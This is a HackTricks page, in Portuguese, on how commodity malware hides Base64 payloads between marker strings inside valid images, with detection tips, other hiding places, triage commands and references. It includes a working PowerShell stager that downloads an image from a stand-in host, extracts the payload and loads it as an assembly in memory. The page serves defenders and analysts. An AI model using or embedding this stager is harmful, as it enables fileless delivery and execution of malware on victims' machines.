Malware & Network Stego
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Nem toda steganography é pixel LSB; commodity malware frequentemente esconde payloads dentro de arquivos que, de outra forma, são válidos.
Padrões práticos
Payloads delimitados por marcadores em imagens válidas
Se uma imagem é baixada e imediatamente analisada como text/Base64 por um script, o payload frequentemente é delimitado por marcadores em vez de estar escondido em pixels.
Commodity loaders cada vez mais escondem Base64 payloads como plain text dentro de imagens válidas (frequentemente GIF/PNG). Em vez de pixel-level LSB, o payload é delimitado por strings de marcadores únicas embutidas no texto/metadata do arquivo. Um stager então:
- Faz o download da imagem via HTTP(S)
- Localiza os marcadores de início/fim
- Extrai o texto entre os marcadores e decodifica de Base64
- Carrega/executa na memória
Trecho mínimo em PowerShell para carving:
$img = (New-Object Net.WebClient).DownloadString('https://example.com/p.gif')
$start = '<<sudo_png>>'; $end = '<<sudo_odt>>'
$s = $img.IndexOf($start); $e = $img.IndexOf($end)
if($s -ge 0 -and $e -gt $s){
$b64 = $img.Substring($s + $start.Length, $e - ($s + $start.Length))
$bytes = [Convert]::FromBase64String($b64)
[Reflection.Assembly]::Load($bytes) | Out-Null
}
Notas:
- ATT&CK: T1027.003 (steganography)
- Detecção/caça:
- Escaneie imagens baixadas em busca de strings delimitadoras.
- Marque scripts que fetch images e imediatamente chamem rotinas de decodificação Base64 (PowerShell
FromBase64String, JSatob, etc). - Procure por incompatibilidades de content-type HTTP (
image/*response but body contains long ASCII/Base64).
Other high-signal places to hide payloads
Estes são tipicamente mais rápidos de checar do que pixel stego:
- Metadados: EXIF/XMP/IPTC, PNG
tEXt/iTXt/zTXt, JPEGCOM/APPnsegments. - Trailing bytes: dados anexados após o marcador formal de fim (por exemplo, após PNG
IEND). - Embedded archives: um ZIP/7z incorporado ou anexado e extraído pelo loader.
- Polyglots: arquivos criados para serem válidos em múltiplos parsers (por exemplo, image + script + archive).
Triage commands
file sample
exiftool -a -u -g1 sample
strings -n 8 sample | head
binwalk sample
binwalk -e sample
Referências:
- Exemplo Unit 42: https://unit42.paloaltonetworks.com/phantomvai-loader-delivers-infostealers/
- MITRE ATT&CK: https://attack.mitre.org/techniques/T1027/003/
- Poliglotos de formato de arquivo e truques de container: https://github.com/corkami/docs
- Aperi’Solve (triagem stego baseada na web): https://aperisolve.com/
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


